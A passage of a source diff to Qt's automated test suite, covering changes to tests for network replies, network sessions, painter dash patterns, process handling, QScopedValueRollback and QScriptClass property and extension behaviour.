void ioGetFromHttpWithProxyAuth();
@@ -341,6 +342,8 @@ private Q_SLOTS:
void synchronousRequest();
void synchronousRequestSslFailure();
+ void httpAbort();
+
// NOTE: This test must be last!
void parentingRepliesToTheApp();
};
@@ -2178,15 +2181,27 @@ void tst_QNetworkReply::ioGetFromHttpWithReuseSequential()
}
}
+void tst_QNetworkReply::ioGetFromHttpWithAuth_data()
+{
+ QTest::addColumn<QUrl>("url");
+ QTest::addColumn<QByteArray>("expectedData");
+
+ QFile reference(SRCDIR "/rfc3252.txt");
+ reference.open(QIODevice::ReadOnly);
+ QByteArray referenceData = reference.readAll();
+ QTest::newRow("basic") << QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/rfcs-auth/rfc3252.txt") << referenceData;
+ QTest::newRow("digest") << QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/auth-digest/") << QByteArray("digest authentication successful\n");
+}
+
void tst_QNetworkReply::ioGetFromHttpWithAuth()
{
// This test sends three requests
// The first two in parallel
// The third after the first two finished
- QFile reference(SRCDIR "/rfc3252.txt");
- QVERIFY(reference.open(QIODevice::ReadOnly));
- QNetworkRequest request(QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/rfcs-auth/rfc3252.txt"));
+ QFETCH(QUrl, url);
+ QFETCH(QByteArray, expectedData);
+ QNetworkRequest request(url);
{
QNetworkReplyPtr reply1 = manager.get(request);
QNetworkReplyPtr reply2 = manager.get(request);
@@ -2211,14 +2226,12 @@ void tst_QNetworkReply::ioGetFromHttpWithAuth()
QCOMPARE(reply1->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
QCOMPARE(reply2->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
- QByteArray referenceData = reference.readAll();
- QCOMPARE(reader1.data, referenceData);
- QCOMPARE(reader2.data, referenceData);
+ QCOMPARE(reader1.data, expectedData);
+ QCOMPARE(reader2.data, expectedData);
QCOMPARE(authspy.count(), 1);
}
- reference.seek(0);
// rinse and repeat:
{
QNetworkReplyPtr reply = manager.get(request);
@@ -2234,13 +2247,12 @@ void tst_QNetworkReply::ioGetFromHttpWithAuth()
this, SLOT(authenticationRequired(QNetworkReply*,QAuthenticator*)));
QCOMPARE(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
- QCOMPARE(reader.data, reference.readAll());
+ QCOMPARE(reader.data, expectedData);
QCOMPARE(authspy.count(), 0);
}
// now check with synchronous calls:
- reference.seek(0);
{
request.setAttribute(
static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
@@ -2256,7 +2268,7 @@ void tst_QNetworkReply::ioGetFromHttpWithAuth()
// the only thing we check here is that the auth cache was used when using synchronous requests
QCOMPARE(replySync->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
- QCOMPARE(replySync->readAll(), reference.readAll());
+ QCOMPARE(replySync->readAll(), expectedData);
}
}
@@ -3840,19 +3852,13 @@ void tst_QNetworkReply::ioPostToHttpUploadProgress()
disconnect(&server, SIGNAL(newConnection()), &QTestEventLoop::instance(), SLOT(exitLoop()));
incomingSocket->setReadBufferSize(1*1024);
- QTestEventLoop::instance().enterLoop(2);
+ QTestEventLoop::instance().enterLoop(5);
// some progress should have been made
QList<QVariant> args = spy.last();
QVERIFY(!args.isEmpty());
QVERIFY(args.at(0).toLongLong() > 0);
-
- incomingSocket->setReadBufferSize(32*1024);
- incomingSocket->read(16*1024);
- QTestEventLoop::instance().enterLoop(2);
- // some more progress than before
- QList<QVariant> args2 = spy.last();
- QVERIFY(!args2.isEmpty());
- QVERIFY(args2.at(0).toLongLong() > args.at(0).toLongLong());
+ // but not everything!
+ QVERIFY(args.at(0).toLongLong() != sourceFile.size());
// set the read buffer to unlimited
incomingSocket->setReadBufferSize(0);
@@ -3860,8 +3866,10 @@ void tst_QNetworkReply::ioPostToHttpUploadProgress()
// progress should be finished
QList<QVariant> args3 = spy.last();
QVERIFY(!args3.isEmpty());
- QVERIFY(args3.at(0).toLongLong() > args2.at(0).toLongLong());
+ // More progress than before
+ QVERIFY(args3.at(0).toLongLong() > args.at(0).toLongLong());
QCOMPARE(args3.at(0).toLongLong(), args3.at(1).toLongLong());
+ // And actually finished..
QCOMPARE(args3.at(0).toLongLong(), sourceFile.size());
// after sending this, the QNAM should emit finished()
@@ -4560,7 +4568,7 @@ void tst_QNetworkReply::proxyChange()
manager.setProxy(dummyProxy);
QNetworkReplyPtr reply3 = manager.get(req);
connect(reply3, SIGNAL(finished()), &QTestEventLoop::instance(), SLOT(exitLoop()));
- QTestEventLoop::instance().enterLoop(1);
+ QTestEventLoop::instance().enterLoop(5);
QVERIFY(!QTestEventLoop::instance().timeout());
QVERIFY(int(reply3->error()) > 0);
@@ -5315,7 +5323,7 @@ void tst_QNetworkReply::qtbug13431replyThrottling()
connect(&nam, SIGNAL(finished(QNetworkReply*)), &helper, SLOT(replyFinished(QNetworkReply*)));
// Download a bigger file
- QNetworkRequest netRequest(QUrl("http://qt-test-server/qtest/bigfile"));
+ QNetworkRequest netRequest(QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/bigfile"));
helper.m_reply = nam.get(netRequest);
// Set the throttle
helper.m_reply->setReadBufferSize(36000);
@@ -5496,6 +5504,18 @@ void tst_QNetworkReply::synchronousRequestSslFailure()
QCOMPARE(sslErrorsSpy.count(), 0);
}
+void tst_QNetworkReply::httpAbort()
+{
+ // FIXME: Implement a test that aborts a big HTTP reply
+ // a) after the first readyRead()
+ // b) immediatly after the get()
+ // c) after the finished()
+ // The goal is no crash and no irrelevant signals after the abort
+
+ // FIXME Also implement one where we do a big upload and then abort().
+ // It must not crash either.
+}
+
// NOTE: This test must be last testcase in tst_qnetworkreply!
void tst_QNetworkReply::parentingRepliesToTheApp()
{
diff --git a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp
index 37fc9cd..3315836 100644
--- a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp
+++ b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp
@@ -60,8 +60,6 @@ QT_USE_NAMESPACE
Q_DECLARE_METATYPE(QNetworkConfiguration)
Q_DECLARE_METATYPE(QNetworkConfiguration::Type);
-Q_DECLARE_METATYPE(QNetworkSession::State);
-Q_DECLARE_METATYPE(QNetworkSession::SessionError);
class tst_QNetworkSession : public QObject
{
@@ -126,8 +124,6 @@ QNetworkConfiguration suitableConfiguration(QString bearerType, QNetworkConfigur
void tst_QNetworkSession::initTestCase()
{
- qRegisterMetaType<QNetworkSession::State>("QNetworkSession::State");
- qRegisterMetaType<QNetworkSession::SessionError>("QNetworkSession::SessionError");
qRegisterMetaType<QNetworkConfiguration>("QNetworkConfiguration");
qRegisterMetaType<QNetworkConfiguration::Type>("QNetworkConfiguration::Type");
diff --git a/tests/auto/qpainter/tst_qpainter.cpp b/tests/auto/qpainter/tst_qpainter.cpp
index ce1ff77..c21514b 100644
--- a/tests/auto/qpainter/tst_qpainter.cpp
+++ b/tests/auto/qpainter/tst_qpainter.cpp
@@ -262,6 +262,8 @@ private slots:
void QTBUG14614_gradientCacheRaceCondition();
void drawTextOpacity();
+ void QTBUG17053_zeroDashPattern();
+
private:
void fillData();
void setPenColor(QPainter& p);
@@ -4684,6 +4686,26 @@ void tst_QPainter::drawTextOpacity()
QCOMPARE(image, copy);
}
+void tst_QPainter::QTBUG17053_zeroDashPattern()
+{
+ QImage image(32, 32, QImage::Format_RGB32);
+ image.fill(0xffffffff);
+
+ QImage original = image;
+
+ QVector<qreal> pattern;
+ pattern << qreal(0) << qreal(0);
+
+ QPainter p(&image);
+ QPen pen(Qt::black, 2.0);
+ pen.setDashPattern(pattern);
+
+ p.setPen(pen);
+ p.drawLine(0, 0, image.width(), image.height());
+
+ QCOMPARE(image, original);
+}
+
QTEST_MAIN(tst_QPainter)
#include "tst_qpainter.moc"
diff --git a/tests/auto/qpainterpath/tst_qpainterpath.cpp b/tests/auto/qpainterpath/tst_qpainterpath.cpp
index fb3a4ea..8382edc 100644
--- a/tests/auto/qpainterpath/tst_qpainterpath.cpp
+++ b/tests/auto/qpainterpath/tst_qpainterpath.cpp
@@ -1044,6 +1044,11 @@ void tst_QPainterPath::pointAtPercent_data()
QRectF rect(241, 273, 185, 228);
path.addEllipse(rect);
QTest::newRow("Case 17") << path << qreal(1.0) << QPointF(rect.right(), qreal(0.5) * (rect.top() + rect.bottom()));
+
+ path = QPainterPath();
+ path.moveTo(100, 100);
+ QTest::newRow("Case 18") << path << qreal(0.0) << QPointF(100, 100);
+ QTest::newRow("Case 19") << path << qreal(1.0) << QPointF(100, 100);
}
void tst_QPainterPath::pointAtPercent()
diff --git a/tests/auto/qprocess/tst_qprocess.cpp b/tests/auto/qprocess/tst_qprocess.cpp
index b697431..2a8874e 100644
--- a/tests/auto/qprocess/tst_qprocess.cpp
+++ b/tests/auto/qprocess/tst_qprocess.cpp
@@ -249,6 +249,8 @@ void tst_QProcess::constructing()
char c;
QCOMPARE(process.read(&c, 1), qlonglong(-1));
QCOMPARE(process.write(&c, 1), qlonglong(-1));
+
+ QProcess proc2;
}
void tst_QProcess::simpleStart()
@@ -265,7 +267,7 @@ void tst_QProcess::simpleStart()
process->start("testProcessNormal/testProcessNormal");
if (process->state() != QProcess::Starting)
QCOMPARE(process->state(), QProcess::Running);
- QVERIFY(process->waitForStarted(5000));
+ QVERIFY2(process->waitForStarted(5000), qPrintable(process->errorString()));
QCOMPARE(process->state(), QProcess::Running);
#if defined(Q_OS_WINCE)
// Note: This actually seems incorrect, it will only exit the while loop when finishing fails
@@ -277,7 +279,7 @@ void tst_QProcess::simpleStart()
while (process->waitForReadyRead(5000))
{ }
#endif
- QCOMPARE(process->state(), QProcess::NotRunning);
+ QCOMPARE(int(process->state()), int(QProcess::NotRunning));
delete process;
process = 0;
diff --git a/tests/auto/qscopedvaluerollback/qscopedvaluerollback.pro b/tests/auto/qscopedvaluerollback/qscopedvaluerollback.pro
new file mode 100644
index 0000000..f06e21b
--- /dev/null
+++ b/tests/auto/qscopedvaluerollback/qscopedvaluerollback.pro
@@ -0,0 +1,4 @@
+load(qttest_p4)
+SOURCES += tst_qscopedvaluerollback.cpp
+QT -= gui
+CONFIG += parallel_test
diff --git a/tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp b/tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp
new file mode 100644
index 0000000..956253f
--- /dev/null
+++ b/tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp
@@ -0,0 +1,203 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QtCore/QScopedValueRollback>
+
+/*!
+ \class tst_QScopedValueRollback
+ \internal
+ \since 4.8
+ \brief Tests class QScopedValueRollback.
+
+ */
+class tst_QScopedValueRollback : public QObject
+{
+ Q_OBJECT
+
+private Q_SLOTS:
+ void leavingScope();
+ void leavingScopeAfterCommit();
+ void rollbackToPreviousCommit();
+ void exceptions();
+ void earlyExitScope();
+private:
+ void earlyExitScope_helper(int exitpoint, int &member);
+};
+
+void tst_QScopedValueRollback::leavingScope()
+{
+ int i = 0;
+ bool b = false;
+ QString s("This is useful");
+
+ //test rollback on going out of scope
+ {
+ QScopedValueRollback<int> ri(i);
+ QScopedValueRollback<bool> rb(b);
+ QScopedValueRollback<QString> rs(s);
+ QCOMPARE(b, false);
+ QCOMPARE(i, 0);
+ QCOMPARE(s, QString("This is useful"));
+ b = true;
+ i = 1;
+ s = "Useless";
+ QCOMPARE(b, true);
+ QCOMPARE(i, 1);
+ QCOMPARE(s, QString("Useless"));
+ }
+ QCOMPARE(b, false);
+ QCOMPARE(i, 0);
+ QCOMPARE(s, QString("This is useful"));
+}
+
+void tst_QScopedValueRollback::leavingScopeAfterCommit()
+{
+ int i = 0;
+ bool b = false;
+ QString s("This is useful");
+
+ //test rollback on going out of scope
+ {
+ QScopedValueRollback<int> ri(i);
+ QScopedValueRollback<bool> rb(b);
+ QScopedValueRollback<QString> rs(s);
+ QCOMPARE(b, false);
+ QCOMPARE(i, 0);
+ QCOMPARE(s, QString("This is useful"));
+ b = true;
+ i = 1;
+ s = "Useless";
+ QCOMPARE(b, true);
+ QCOMPARE(i, 1);
+ QCOMPARE(s, QString("Useless"));
+ ri.commit();
+ rb.commit();
+ rs.commit();
+ }
+ QCOMPARE(b, true);
+ QCOMPARE(i, 1);
+ QCOMPARE(s, QString("Useless"));
+}
+
+void tst_QScopedValueRollback::rollbackToPreviousCommit()
+{
+ int i=0;
+ {
+ QScopedValueRollback<int> ri(i);
+ i++;
+ ri.commit();
+ i++;
+ }
+ QCOMPARE(i,1);
+ {
+ QScopedValueRollback<int> ri1(i);
+ i++;
+ ri1.commit();
+ i++;
+ ri1.commit();
+ i++;
+ }
+ QCOMPARE(i,3);
+}
+
+void tst_QScopedValueRollback::exceptions()
+{
+ bool b = false;
+ bool caught = false;
+ QT_TRY
+ {
+ QScopedValueRollback<bool> rb(b);
+ b = true;
+ QT_THROW(std::bad_alloc()); //if Qt compiled without exceptions this is noop
+ rb.commit(); //if Qt compiled without exceptions, true is committed
+ }
+ QT_CATCH(...)
+ {
+ caught = true;
+ }
+ QCOMPARE(b, !caught); //expect false if exception was thrown, true otherwise
+}
+
+void tst_QScopedValueRollback::earlyExitScope()
+{
+ int i=0;
+ int j=0;
+ while (true) {
+ QScopedValueRollback<int> ri(i);
+ i++;
+ j=i;
+ if (i>8) break;
+ ri.commit();
+ }
+ QCOMPARE(i,8);
+ QCOMPARE(j,9);
+
+ for (i = 0; i < 5; i++) {
+ j=1;
+ earlyExitScope_helper(i,j);
+ QCOMPARE(j, 1<<i);
+ }
+}
+
+void tst_QScopedValueRollback::earlyExitScope_helper(int exitpoint, int& member)
+{
+ QScopedValueRollback<int> r(member);
+ member *= 2;
+ if (exitpoint == 0)
+ return;
+ r.commit();
+ member *= 2;
+ if (exitpoint == 1)
+ return;
+ r.commit();
+ member *= 2;
+ if (exitpoint == 2)
+ return;
+ r.commit();
+ member *= 2;
+ if (exitpoint == 3)
+ return;
+ r.commit();
+}
+
+QTEST_MAIN(tst_QScopedValueRollback)
+#include "tst_qscopedvaluerollback.moc"
diff --git a/tests/auto/qscriptclass/tst_qscriptclass.cpp b/tests/auto/qscriptclass/tst_qscriptclass.cpp
index 16f09b6..9ab8318 100644
--- a/tests/auto/qscriptclass/tst_qscriptclass.cpp
+++ b/tests/auto/qscriptclass/tst_qscriptclass.cpp
@@ -65,15 +65,27 @@ public:
private slots:
void newInstance();
- void getAndSetProperty();
+ void setScriptClassOfExistingObject();
+ void setScriptClassOfNonQtScriptObject();
+ void getAndSetPropertyFromCpp();
+ void getAndSetPropertyFromJS();
+ void deleteUndeletableProperty();
+ void writeReadOnlyProperty();
+ void writePropertyWithoutWriteAccess();
void getProperty_invalidValue();
void enumerate();
- void extension();
+ void extension_None();
+ void extension_Callable();
+ void extension_Callable_construct();
+ void extension_HasInstance();
void originalProperties1();
void originalProperties2();
void originalProperties3();
void originalProperties4();
void defaultImplementations();
+ void scriptClassObjectInPrototype();
+ void scriptClassWithNullEngine();
+ void scriptClassInOtherEngine();
};
tst_QScriptClass::tst_QScriptClass()
@@ -306,7 +318,12 @@ void TestClass::setProperty(QScriptValue &object, const QScriptString &name,
CustomProperty *prop = findCustomProperty(name);
if (!prop)
return;
- prop->value = value;
+ if (prop->pflags & QScriptValue::ReadOnly)
+ return;
+ if (!value.isValid()) // deleteProperty() requested
+ removeCustomProperty(name);
+ else
+ prop->value = value;
}
QScriptValue::PropertyFlags TestClass::propertyFlags(
@@ -600,7 +617,7 @@ void tst_QScriptClass::newInstance()
QScriptValue obj1 = eng.newObject(&cls);
QVERIFY(!obj1.data().isValid());
QVERIFY(obj1.prototype().strictlyEquals(cls.prototype()));
- QEXPECT_FAIL("", "classname is not implemented", Continue);
+ QEXPECT_FAIL("", "QTBUG-17599: classname is not implemented", Continue);
QCOMPARE(obj1.toString(), QString::fromLatin1("[object TestClass]"));
QCOMPARE(obj1.scriptClass(), (QScriptClass*)&cls);
@@ -611,7 +628,12 @@ void tst_QScriptClass::newInstance()
QCOMPARE(obj2.scriptClass(), (QScriptClass*)&cls);
QVERIFY(!obj2.equals(obj1));
QVERIFY(!obj2.strictlyEquals(obj1));
+}
+void tst_QScriptClass::setScriptClassOfExistingObject()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
QScriptValue obj3 = eng.newObject();
QCOMPARE(obj3.scriptClass(), (QScriptClass*)0);
obj3.setScriptClass(&cls);
@@ -625,7 +647,12 @@ void tst_QScriptClass::newInstance()
TestClass cls2(&eng);
obj3.setScriptClass(&cls2);
QCOMPARE(obj3.scriptClass(), (QScriptClass*)&cls2);
+}
+void tst_QScriptClass::setScriptClassOfNonQtScriptObject()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
// undefined behavior really, but shouldn't crash
QScriptValue arr = eng.newArray();
QVERIFY(arr.isArray());
@@ -639,7 +666,7 @@ void tst_QScriptClass::newInstance()
QVERIFY(arr.isObject());
}
-void tst_QScriptClass::getAndSetProperty()
+void tst_QScriptClass::getAndSetPropertyFromCpp()
{
QScriptEngine eng;
@@ -651,7 +678,9 @@ void tst_QScriptClass::getAndSetProperty()
QScriptString bar = eng.toStringHandle("bar");
QScriptValue num(&eng, 123);
- // should behave just like normal
+ // Initially our TestClass instances have no custom properties,
+ // and queryProperty() will always return false.
+ // Hence, the properties will be created as normal JS properties.
for (int x = 0; x < 2; ++x) {
QScriptValue &o = (x == 0) ? obj1 : obj2;
for (int y = 0; y < 2; ++y) {
@@ -712,7 +741,7 @@ void tst_QScriptClass::getAndSetProperty()
QCOMPARE(obj1.propertyFlags(foo2), foo2Pflags);
QVERIFY(cls.lastQueryPropertyObject().strictlyEquals(obj1));
QVERIFY(cls.lastQueryPropertyName() == foo2);
- QEXPECT_FAIL("", "classObject.getOwnPropertyDescriptor() reads the property value", Continue);
+ QEXPECT_FAIL("", "QTBUG-17601: classObject.getOwnPropertyDescriptor() reads the property value", Continue);
QVERIFY(!cls.lastPropertyObject().isValid());
QVERIFY(cls.lastPropertyFlagsObject().strictlyEquals(obj1));
QVERIFY(cls.lastPropertyFlagsName() == foo2);
@@ -757,6 +786,80 @@ void tst_QScriptClass::getAndSetProperty()
QVERIFY(!obj1.property(bar).isValid());
}
+void tst_QScriptClass::getAndSetPropertyFromJS()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
+ cls.addCustomProperty(eng.toStringHandle("x"),
+ QScriptClass::HandlesReadAccess
+ | QScriptClass::HandlesWriteAccess,
+ /*id=*/1, /*flags=*/0, /*value=*/123);
+ eng.globalObject().setProperty("o", eng.newObject(&cls));
+
+ // Accessing a custom property
+ QCOMPARE(eng.evaluate("o.x").toInt32(), 123);
+ QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 456);
+
+ // Accessing a new JS property
+ QVERIFY(eng.evaluate("o.y").isUndefined());
+ QCOMPARE(eng.evaluate("o.y = 789; o.y").toInt32(), 789);
+
+ // Deleting custom property
+ QVERIFY(eng.evaluate("delete o.x").toBool());
+ QVERIFY(eng.evaluate("o.x").isUndefined());
+
+ // Deleting JS property
+ QVERIFY(eng.evaluate("delete o.y").toBool());
+ QVERIFY(eng.evaluate("o.y").isUndefined());
+}
+
+void tst_QScriptClass::deleteUndeletableProperty()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
+ cls.addCustomProperty(eng.toStringHandle("x"), QScriptClass::HandlesWriteAccess,
+ /*id=*/0, QScriptValue::Undeletable, QScriptValue());
+ eng.globalObject().setProperty("o", eng.newObject(&cls));
+ QVERIFY(!eng.evaluate("delete o.x").toBool());
+}
+
+void tst_QScriptClass::writeReadOnlyProperty()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
+ cls.addCustomProperty(eng.toStringHandle("x"),
+ QScriptClass::HandlesReadAccess
+ | QScriptClass::HandlesWriteAccess,
+ /*id=*/0, QScriptValue::ReadOnly, 123);
+ eng.globalObject().setProperty("o", eng.newObject(&cls));
+ // Note that if a property is read-only, the setProperty()
+ // reimplementation will still get called; it's up to that
+ // function to respect the ReadOnly flag.
+ QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 123);
+}
+
+void tst_QScriptClass::writePropertyWithoutWriteAccess()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
+ cls.addCustomProperty(eng.toStringHandle("x"),
+ QScriptClass::HandlesReadAccess,
+ /*id=*/0, /*flags=*/0, 123);
+ eng.globalObject().setProperty("o", eng.newObject(&cls));
+ QCOMPARE(eng.evaluate("o.x").toInt32(), 123);
+
+ // This will create a JS property on the instance that
+ // shadows the custom property.
+ // This behavior is not documented. It might be more
+ // intuitive to treat a property that only handles read
+ // access as a read-only, non-shadowable property.
+ QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 456);
+
+ QVERIFY(eng.evaluate("delete o.x").toBool());
+ // Now the custom property is seen again.
+ QCOMPARE(eng.evaluate("o.x").toInt32(), 123);
+}
+
void tst_QScriptClass::getProperty_invalidValue()
{
QScriptEngine eng;
@@ -806,10 +909,12 @@ void tst_QScriptClass::enumerate()
cls.setIterationEnabled(true);
QScriptValueIterator it(obj);
+ // This test relies on the order in which properties are enumerated,
+ // which we don't guarantee. However, for compatibility's sake we prefer
+ // that normal JS properties come before QScriptClass properties.
for (int x = 0; x < 2; ++x) {
QVERIFY(it.hasNext());
it.next();
- QEXPECT_FAIL("", "", Abort);
QVERIFY(it.scriptName() == foo);
QVERIFY(it.hasNext());
it.next();
@@ -828,229 +933,238 @@ void tst_QScriptClass::enumerate()
}
}
-void tst_QScriptClass::extension()
+void tst_QScriptClass::extension_None()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
+ cls.setCallableMode(TestClass::NotCallable);
+ QVERIFY(!cls.supportsExtension(QScriptClass::Callable));
+ QVERIFY(!cls.supportsExtension(QScriptClass::HasInstance));
+ QScriptValue obj = eng.newObject(&cls);
+ QVERIFY(!obj.call().isValid());
+ QCOMPARE((int)cls.lastExtensionType(), -1);
+ QVERIFY(!obj.instanceOf(obj));
+ QCOMPARE((int)cls.lastExtensionType(), -1);
+ QVERIFY(!obj.construct().isValid());
+}
+
+void tst_QScriptClass::extension_Callable()
{
QScriptEngine eng;
+ TestClass cls(&eng);
+ cls.setCallableMode(TestClass::CallableReturnsSum);
+ QVERIFY(cls.supportsExtension(QScriptClass::Callable));
+
+ QScriptValue obj = eng.newObject(&cls);
+ eng.globalObject().setProperty("obj", obj);
+ obj.setProperty("one", QScriptValue(&eng, 1));
+ obj.setProperty("two", QScriptValue(&eng, 2));
+ obj.setProperty("three", QScriptValue(&eng, 3));
+ // From C++
+ cls.clearReceivedArgs();
{
- TestClass cls(&eng);
- cls.setCallableMode(TestClass::NotCallable);
- QVERIFY(!cls.supportsExtension(QScriptClass::Callable));
- QVERIFY(!cls.supportsExtension(QScriptClass::HasInstance));
- QScriptValue obj = eng.newObject(&cls);
- QVERIFY(!obj.call().isValid());
- QCOMPARE((int)cls.lastExtensionType(), -1);
- QVERIFY(!obj.instanceOf(obj));
- QCOMPARE((int)cls.lastExtensionType(), -1);
- QVERIFY(!obj.construct().isValid());
+ QScriptValueList args;
+ args << QScriptValue(&eng, 4) << QScriptValue(&eng, 5);
+ QScriptValue ret = obj.call(obj, args);
+ QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+ QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+ QVERIFY(ret.isNumber());
+ QCOMPARE(ret.toNumber(), qsreal(1+2+3+4+5));
}
- // Callable
+ // From JS
+ cls.clearReceivedArgs();
{
- TestClass cls(&eng);
- cls.setCallableMode(TestClass::CallableReturnsSum);
- QVERIFY(cls.supportsExtension(QScriptClass::Callable));
-
- QScriptValue obj = eng.newObject(&cls);
- eng.globalObject().setProperty("obj", obj);
- obj.setProperty("one", QScriptValue(&eng, 1));
- obj.setProperty("two", QScriptValue(&eng, 2));
- obj.setProperty("three", QScriptValue(&eng, 3));
- // From C++
- cls.clearReceivedArgs();
- {
- QScriptValueList args;
- args << QScriptValue(&eng, 4) << QScriptValue(&eng, 5);
- QScriptValue ret = obj.call(obj, args);
- QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
- QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
- QVERIFY(ret.isNumber());
- QCOMPARE(ret.toNumber(), qsreal(15));
- }
- // From JS
- cls.clearReceivedArgs();
- {
- QScriptValue ret = eng.evaluate("obj(4, 5)");
- QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
- QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
- QVERIFY(ret.isNumber());
- QCOMPARE(ret.toNumber(), qsreal(15));
- }
+ QScriptValue ret = eng.evaluate("obj(4, 5)");
+ QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+ QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+ QVERIFY(ret.isNumber());
+ QCOMPARE(ret.toNumber(), qsreal(1+2+3+4+5));
+ }
- cls.setCallableMode(TestClass::CallableReturnsArgument);
- // From C++
- cls.clearReceivedArgs();
- {
- QScriptValue ret = obj.call(obj, QScriptValueList() << 123);
- QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
- QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
- QVERIFY(ret.isNumber());
- QCOMPARE(ret.toInt32(), 123);
- }
- cls.clearReceivedArgs();
- {
- QScriptValue ret = obj.call(obj, QScriptValueList() << true);
- QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
- QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
- QVERIFY(ret.isBoolean());
- QCOMPARE(ret.toBoolean(), true);
- }
- {
- QScriptValue ret = obj.call(obj, QScriptValueList() << QString::fromLatin1("ciao"));
- QVERIFY(ret.isString());
- QCOMPARE(ret.toString(), QString::fromLatin1("ciao"));
- }
- {
- QScriptValue objobj = eng.newObject();
- QScriptValue ret = obj.call(obj, QScriptValueList() << objobj);
- QVERIFY(ret.isObject());
- QVERIFY(ret.strictlyEquals(objobj));
- }
- {
- QScriptValue ret = obj.call(obj, QScriptValueList() << QScriptValue());
- QVERIFY(ret.isUndefined());
- }
- // From JS
- cls.clearReceivedArgs();
- {
- QScriptValue ret = eng.evaluate("obj(123)");
- QVERIFY(ret.isNumber());
- QCOMPARE(ret.toInt32(), 123);
- }
+ cls.setCallableMode(TestClass::CallableReturnsArgument);
+ // From C++
+ cls.clearReceivedArgs();
+ {
+ QScriptValue ret = obj.call(obj, QScriptValueList() << 123);
+ QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+ QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+ QVERIFY(ret.isNumber());
+ QCOMPARE(ret.toInt32(), 123);
+ }
+ cls.clearReceivedArgs();
+ {
+ QScriptValue ret = obj.call(obj, QScriptValueList() << true);
+ QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+ QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+ QVERIFY(ret.isBoolean());
+ QCOMPARE(ret.toBoolean(), true);
+ }
+ {
+ QScriptValue ret = obj.call(obj, QScriptValueList() << QString::fromLatin1("ciao"));
+ QVERIFY(ret.isString());
+ QCOMPARE(ret.toString(), QString::fromLatin1("ciao"));
+ }
+ {
+ QScriptValue objobj = eng.newObject();
+ QScriptValue ret = obj.call(obj, QScriptValueList() << objobj);
+ QVERIFY(ret.isObject());
+ QVERIFY(ret.strictlyEquals(objobj));
+ }
+ {
+ QScriptValue ret = obj.call(obj, QScriptValueList() << QScriptValue());
+ QVERIFY(ret.isUndefined());
+ }
+ // From JS
+ cls.clearReceivedArgs();
+ {
+ QScriptValue ret = eng.evaluate("obj(123)");
+ QVERIFY(ret.isNumber());
+ QCOMPARE(ret.toInt32(), 123);
+ }
- cls.setCallableMode(TestClass::CallableReturnsInvalidVariant);
- {
- QScriptValue ret = obj.call(obj);
- QVERIFY(ret.isUndefined());
- }
+ cls.setCallableMode(TestClass::CallableReturnsInvalidVariant);
+ {
+ QScriptValue ret = obj.call(obj);
+ QVERIFY(ret.isUndefined());
+ }
- cls.setCallableMode(TestClass::CallableReturnsThisObject);
- // From C++
- {
- QScriptValue ret = obj.call(obj);
- QVERIFY(ret.isObject());
